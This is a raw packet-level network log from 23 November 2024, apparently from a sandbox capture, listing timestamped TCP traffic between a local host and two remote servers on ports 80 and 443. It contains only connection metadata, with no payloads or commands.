Nov 23, 2024 20:23:38.485652924 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.485692024 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.485718012 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.485789061 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.485804081 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.485816002 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.485826969 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.485881090 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.486112118 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.486121893 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.486133099 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.486145973 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.486257076 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.486263990 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.486321926 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.486397982 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.486593008 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.487019062 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.487035990 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.487046957 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.487057924 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.487070084 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.487519979 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.487538099 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.487550020 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.487560034 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.487571955 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.487683058 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.487695932 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.487831116 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.488574982 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.488593102 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.488605022 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.488615990 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.488626957 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.488738060 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.488750935 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.488759995 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.489509106 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.489527941 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.489655972 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.489675999 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.489686966 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.489697933 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.489713907 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.489830971 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.490478992 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.490490913 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.490502119 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.490511894 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.490524054 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.490534067 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.490631104 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.490643978 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.491408110 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.491420031 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.491430998 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.491442919 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.496618032 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.496711969 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.496748924 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.496772051 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.496798038 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.500281096 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.500332117 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.500453949 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.500475883 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.500503063 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.500766039 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.500780106 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.500792027 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.500797033 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.503901958 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.504008055 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.504079103 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.504342079 CET	49846	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.504379034 CET	443	49846	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.522264957 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.522284985 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.522294998 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.522397041 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.522407055 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.522417068 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.522428036 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.522578001 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.522607088 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.522618055 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.522672892 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.522685051 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.522695065 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.522705078 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.522737980 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.523550034 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.523569107 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.523578882 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.523726940 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.523736954 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.523746967 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.524156094 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.524166107 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.524175882 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.524224043 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.524235010 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.524245024 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.524259090 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.524271011 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.525051117 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.525110960 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.525121927 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.525232077 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.525243998 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.525253057 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.530560017 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.530637026 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.530662060 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.530678034 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.532067060 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.532119036 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.532128096 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.532238007 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.532264948 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.532274961 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.532286882 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.538156033 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.538333893 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.546192884 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.546448946 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.546448946 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.547792912 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.547805071 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.547813892 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.547817945 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.550204992 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.550226927 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.550303936 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.550441027 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.550451994 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.582218885 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.594225883 CET	49844	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.594269991 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.594666958 CET	49844	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.594681978 CET	443	49844	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.636749029 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.637013912 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.637023926 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.637034893 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.637041092 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.637046099 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.637052059 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.637103081 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.637161970 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.637172937 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.637409925 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.637419939 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.637429953 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.637439966 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.646475077 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.649705887 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.676367044 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.676377058 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.676388025 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.676475048 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.676491976 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.676503897 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.676515102 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.676526070 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.677036047 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.677198887 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.677210093 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.677221060 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.677232981 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.677247047 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.677262068 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.677273989 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.677820921 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.677850962 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.677860975 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.677872896 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.677959919 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.677970886 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.677982092 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.677993059 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.678596973 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.678663015 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.678673983 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.678711891 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.678724051 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.678735018 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.678746939 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.678760052 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.679591894 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.679601908 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.679624081 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.679636002 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.679646969 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.679656982 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.679667950 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.679754019 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.680480003 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.680501938 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.680512905 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.680525064 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.680577993 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.680588961 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.680600882 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.680670977 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.681421041 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.681473017 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.681485891 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.681540966 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.681551933 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.681562901 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.681574106 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.681607008 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.682346106 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.682415962 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.686994076 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.687043905 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.687412977 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.687725067 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.687760115 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.687784910 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.714274883 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.714318991 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.714329004 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.714376926 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.714386940 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.714400053 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.714410067 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.714571953 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.714605093 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.714616060 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.714870930 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.714917898 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.714927912 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.715145111 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.715154886 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.715164900 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.715522051 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.715523005 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.715559959 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.715569973 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.715621948 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.715632915 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.715641975 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.715653896 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.715667009 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.715816975 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.715867043 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.716487885 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.716520071 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.716531038 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.716542006 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.716583014 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.716593981 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.716604948 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.716675043 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.717395067 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.717437029 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.717447996 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.724517107 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.724581003 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.724592924 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.724670887 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.724684954 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.724726915 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.724737883 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.731142998 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.739855051 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.739893913 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.748656034 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.748675108 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.749730110 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.749741077 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.750042915 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.750058889 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.750066996 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.750211000 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.750237942 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.750873089 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.753005981 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.753104925 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.758671999 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.758739948 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.759282112 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.759475946 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.759516954 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.759546995 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.759855986 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.759879112 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.759916067 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.759922981 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.762037992 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.762063980 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.762347937 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.762619019 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.762631893 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.844572067 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.844630957 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.844640970 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.844701052 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.844711065 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.844726086 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.844736099 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.844753981 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.844763994 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.844774961 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.844785929 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.845511913 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.845540047 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.845550060 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.847043991 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.847646952 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.868465900 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.868554115 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.868563890 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.868623972 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.868633986 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.868644953 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.868679047 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.868860006 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.868942022 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.868952036 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.868988037 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.868998051 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.869066954 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.869079113 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.869616985 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.869672060 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.869683027 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.869724989 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.869735956 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.869750023 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.869760036 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.870471954 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.870524883 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.870536089 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.870553970 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.870563030 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.870573044 CET	80	49827	185.215.113.16	192.168.2.4
